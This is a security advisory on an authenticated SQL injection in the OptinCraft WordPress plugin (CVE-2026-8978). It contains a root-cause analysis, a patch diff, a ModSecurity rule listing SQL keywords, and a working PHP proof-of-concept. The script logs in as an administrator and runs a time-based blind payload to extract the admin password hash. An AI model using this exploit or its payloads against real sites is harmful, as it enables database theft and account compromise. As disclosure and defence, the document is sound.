Atomic Edge analysis of CVE-2026-8978:
The OptinCraft plugin for WordPress, versions up to and including 1.2.0, contains an authenticated SQL injection vulnerability in the administrative panel. Attackers with administrator-level access can inject arbitrary SQL commands via the ‘order_by’ parameter. The CVSS score is 4.9 (Medium).
The root cause is insufficient input validation and escaping when handling the ‘order_by’ parameter. The vulnerable code resides in the `optincraft/app/Http/Controllers/Admin/CampaignController.php`, `ResponseController.php`, and `TaskController.php` files. In each controller, the `order_by` parameter is validated only as a string via Laravel validation rules. The value is then passed to a DTO (Data Transfer Object) and subsequently used in the `CampaignRepository.php` file. At line 50 of `CampaignRepository.php`, the `order_by` value is directly inserted into the SQL `order_by` clause without any whitelisting or prepared statement parameterization. The `sanitize_text_field()` function applied in the controllers is insufficient to prevent SQL injection, as it does not escape SQL metacharacters.
An authenticated attacker with administrator privileges can exploit this vulnerability by sending a crafted HTTP request to any of the vulnerable endpoints. The attacker would modify the ‘order_by’ parameter in the request body to include a malicious SQL payload. For example, a request to a campaign list endpoint with `order_by=(SELECT SLEEP(5))` would cause the database to pause. The attacker can use time-based or error-based techniques to extract sensitive data. The specific AJAX actions and REST endpoint patterns depend on how the plugin registers its routes, but the payload is always injected via the ‘order_by’ parameter.
The patch removes the ‘order_by’ and ‘order_direction’ parameters entirely from the controller validation rules and DTO construction. The calls to `set_order_by()` and `set_order_direction()` are deleted from all three controllers. In `CampaignRepository.php`, the dynamic `order_by` logic is replaced with a hardcoded `latest(“campaign.id”)` call. This eliminates the injection point by no longer accepting user input for the sort order. The plugin version is bumped to 1.2.1.
If exploited, this vulnerability allows an attacker to extract any data from the WordPress database. Since it requires administrator privileges, the direct impact is limited to privilege escalation scenarios where an admin account is compromised or a lower-privilege user has been granted admin access. The attacker could read password hashes, user email addresses, or other sensitive configuration data. This information can then be used to compromise other accounts or the server itself.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/optincraft/app/Http/Controllers/Admin/CampaignController.php
+++ b/optincraft/app/Http/Controllers/Admin/CampaignController.php
@@ -26,16 +26,12 @@
"page" => "required|numeric",
"perPage" => "required|numeric",
"search" => "sometimes|string",
- "order_by" => "sometimes|string",
- "order_direction" => "sometimes|string|in:asc,desc",
]
);
$dto = ( new Read )->set_page( $request->get_param( "page" ) )
->set_per_page( $request->get_param( "perPage" ) )
- ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) )
- ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?? 'id' )
- ->set_order_direction( (string) $request->get_param( "order_direction" ) ?? 'desc' );
+ ->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) );
return Response::send( $this->repository->get( $dto ) );
}
--- a/optincraft/app/Http/Controllers/Admin/ResponseController.php
+++ b/optincraft/app/Http/Controllers/Admin/ResponseController.php
@@ -32,16 +32,12 @@
"perPage" => "required|numeric",
"campaign_id" => "required|numeric",
"search" => "sometimes|string",
- "order_by" => "sometimes|string",
- "order_direction" => "sometimes|string|in:asc,desc",
]
);
$dto = ( new Read )->set_page( $request->get_param( "page" ) )
->set_per_page( (int) $request->get_param( "perPage" ) )
->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) )
- ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?: 'id' )
- ->set_order_direction( sanitize_text_field( (string) $request->get_param( "order_direction" ) ) ?: 'desc' )
->set_campaign_id( (int) $request->get_param( "campaign_id" ) );
return Response::send( $this->repository->get( $dto ) );
--- a/optincraft/app/Http/Controllers/Admin/TaskController.php
+++ b/optincraft/app/Http/Controllers/Admin/TaskController.php
@@ -38,8 +38,6 @@
"page" => "required|numeric",
"perPage" => "required|numeric",
"search" => "sometimes|string",
- "order_by" => "sometimes|string",
- "order_direction" => "sometimes|string|in:asc,desc",
]
);
@@ -47,8 +45,6 @@
->set_page( $request->get_param( "page" ) )
->set_per_page( (int) $request->get_param( "perPage" ) )
->set_search( sanitize_text_field( (string) $request->get_param( "search" ) ) )
- ->set_order_by( sanitize_text_field( (string) $request->get_param( "order_by" ) ) ?: 'id' )
- ->set_order_direction( sanitize_text_field( (string) $request->get_param( "order_direction" ) ) ?: 'desc' )
->set_type( $this->get_type() );
return Response::send( $this->repository->get( $dto ) );
--- a/optincraft/app/Repositories/CampaignRepository.php
+++ b/optincraft/app/Repositories/CampaignRepository.php
@@ -47,14 +47,7 @@
}
);
- $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' );
-
- // Apply ordering
- if ( $dto->get_order_by() ) {
- $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );
- } else {
- $query->latest( "id" );
- }
+ $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' )->latest( "campaign.id" );
do_action( 'optincraft_get_campaigns_query', $query );
--- a/optincraft/optincraft.php
+++ b/optincraft/optincraft.php
@@ -5,7 +5,7 @@
/**
* Plugin Name: OptinCraft
* Description: The Powerful Drag & Drop Popup Builder for WordPress
- * Version: 1.2.0
+ * Version: 1.2.1
* Requires at least: 6.5
* Requires PHP: 7.4
* Tested up to: 7.0
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8978
# This rule blocks SQL injection attempts via the 'order_by' parameter
# targeting the OptinCraft plugin AJAX endpoints.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268978,phase:2,deny,status:403,chain,msg:'CVE-2026-8978: OptinCraft SQL Injection via order_by parameter',severity:'CRITICAL',tag:'CVE-2026-8978'"
SecRule ARGS_POST:action "@pm optincraft_get_campaigns optincraft_get_responses optincraft_get_tasks" "chain"
SecRule ARGS_POST:order_by "@rx b(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|SLEEP|BENCHMARK|OR|AND|--|#|%27|%22)" "t:lowercase,t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8978 - OptinCraft <= 1.2.0 - Authenticated (Administrator+) SQL Injection via 'order_by' Parameter
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$admin_username = 'admin'; // Change this to an admin username
$admin_password = 'password'; // Change this to the admin password
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Initialize cURL
$ch = curl_init();
// Step 1: Login to get cookies
$login_data = [
'log' => $admin_username,
'pwd' => $admin_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
if ($login_response === false) {
die('Login failed: ' . curl_error($ch));
}
// Step 2: Determine the AJAX action for campaigns
// The action might be 'optincraft_get_campaigns' or similar. We'll use a generic approach.
// For demonstration, we target the campaign controller which likely uses an AJAX endpoint.
$action = 'optincraft_get_campaigns'; // This may need adjustment based on actual plugin registration
// SQL injection payload in order_by parameter
// This payload attempts to extract the admin user's password hash using a time-based blind technique
$sql_payload = "(SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='$',SLEEP(3),0))";
$exploit_data = [
'action' => $action,
'page' => 1,
'perPage' => 10,
'order_by' => $sql_payload,
'order_direction' => 'asc'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$start_time = microtime(true);
$exploit_response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;
if ($duration > 2.5) {
echo "Time delay detected: {$duration} seconds. The password hash character likely starts with '$'.n";
} else {
echo "No significant delay (duration: {$duration} seconds). The password hash character likely does not start with '$'.n";
}
curl_close($ch);
?>